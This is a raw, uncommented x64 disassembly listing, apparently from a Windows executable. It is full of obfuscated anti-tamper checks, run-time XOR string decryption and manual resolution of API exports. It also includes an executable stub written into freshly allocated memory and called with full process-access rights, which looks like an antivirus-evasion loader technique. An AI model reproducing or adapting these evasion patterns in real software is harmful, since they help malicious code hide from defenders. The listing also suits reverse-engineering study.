mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010f0c
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010f0c
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010f2c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140010fd6
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010fb6
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010fb6
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010fd6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
call fcn.14007b080
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14001d330
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x1400110b1
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011091
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011091
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400110b1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001115b
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001113b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001113b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001115b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140011205
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400111e5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400111e5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011205
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x1400112c0
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400112a0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400112a0
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400112c0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001136a
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001134a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001134a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001136a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001141b
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400113fb
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400113fb
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001141b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x1400114c5
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400114a5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400114a5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400114c5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14001c8c8
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x1400115aa
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001158a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001158a
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400115aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14001b64f
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001165e
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400118a5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400118a5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400118a5
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14000c630
mov r15d, eax
mov rcx, qword gs:[0x24]
mov r8d, 0xe1f6e62c
cmp rcx, rsi
jne 0x140011710
mov rcx, qword gs:[0x3a]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x3a]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x3a]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x1400118c5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x1400118c5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x1400118c5
test r15d, r15d
jne 0x140011925
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x1400117c2
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1050], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0x1058], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0x1060], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x1400118e5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x1400118e5
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x1400118e5
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x140011876
mov rax, qword gs:[0x3a]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x3a]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x3a]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140011905
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140011905
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140011905
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jae 0x14001b64f
movabs r15, 0x2beb6ad95121aad0
jmp 0x1400115c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.140082048
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x83acdb15
mov dword [rbp + 0x214], 0xbd95b5a9
mov dword [rbp + 0x218], 0x60e69c84
mov word [rbp + 0x21c], Ordinal_33
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x144bec43e
mov r10d, reloc.WS2_32.dll_listen
movabs r9, 0x107daff733
movabs r11, 0x20fb5fee66
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x1400119c8
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x6f9bf311
mov dword [rbp + 0x84], 0xa3256d2c
mov word [rbp + 0x88], 0x83
mov r8, r14
mov r10d, 9
movabs r9, 0xb6ab4e637
movabs r11, 0x16d569cc6e
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x80]
xor dil, r8b
mov byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x140011a66
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140011cf7
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140011cf7
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140011cf7
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140011cf7
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140011cf7
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140011b69
inc rax
test edi, edi
jne 0x140011b54
test r8d, r8d
je 0x140011b7b
inc rdx
cmp rdx, rsi
jb 0x140011b43
jmp 0x140011cf7
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140011cf7
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x140011cf4
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14007b080
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14001d330
lea rcx, [rbp + 0x7420]
call fcn.14001c8c8
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14001c8c8
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140011c09
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400a4b00
mov dword [0x1400ccbc4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400ccbc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400ccbc8]
mov word [rdi + 8], ax
mov al, byte [0x1400ccbca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400a51a0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400ccbc4], r14d
test edi, edi
js 0x140011d0a
jmp 0x140011cf7
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140011d20
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14000c0f8
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x8ce18c5a
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x24]
ja 0x14001b2bd
cmp rax, rbx
jne 0x140011de7
mov rax, qword gs:[0x3a]
movabs r15, 0x2beb6ad95121aad0
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011dc7
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011dc7
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011de7
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0df0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400c0e20]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x158eafab
mov word [rbp + 0xbc4], 0xdcd5
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
lea esi, [rax + 1]
lea r10d, [rax + 0x26]
movabs r9, 0x303451215a
movabs r11, 0x8080808080808081
movabs r15, 0x144bec43e
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
add r8, rsi
add r9, r12
add r10, 0x26
movabs rax, 0x6068a242b4
cmp r9, rax
jb 0x140011e4a
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140001bbc
mov rax, qword gs:[0x24]
cmp rax, rbx
movabs r15, 0x2beb6ad95121aad0
jne 0x140011f8b
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011f6b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011f6b
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011f8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
call fcn.14000c358
mov rcx, qword gs:[0x24]
test al, al
jne 0x14001231f
cmp rcx, rbx
jne 0x140012042
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012022
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012022
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012042
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0x60
mov r10, r14
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r15, 0x8080808080808081
movabs r13, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
add r10, rsi
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001208c
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400c0ef0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400c0b90]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rbx, 0x4ea6338742
mov r9d, Ordinal_33
movabs r10, 0x275319c3a1
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
add r8, rsi
add r10, r12
add r9, 0x1f
cmp r10, rbx
jb 0x14001212d
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x24]
mov ebx, 0x8ce18c5a
cmp rax, rbx
jne 0x14001225e
mov rax, qword gs:[0x3a]
mov ecx, 0xe1f6e62c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001223e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001223e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001225e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rbx
jne 0x14001bd1e
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400122ff
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400122ff
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
cmp rcx, rbx
jne 0x1400123d3
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400123b3
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400123b3
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400123d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0d80]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x2897d887e0
lea r10d, [rax + 0x10]
movabs r9, 0x144bec43f0
movabs r11, 0x8080808080808081
movabs r15, 0x144bec43e
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
add r8, rsi
add r9, r12
add r10, 0x10
cmp r9, rbx
jb 0x14001241a
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14000c148
mov rax, qword gs:[0x24]
mov ebx, 0x8ce18c5a
cmp rax, rbx
movabs r15, 0x2beb6ad95121aad0
jne 0x140012543
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012523
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012523
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012543
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400126eb
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0x60
mov r10, r14
movabs rbx, 0x8080808080808081
lea r11d, [rax + 0x11]
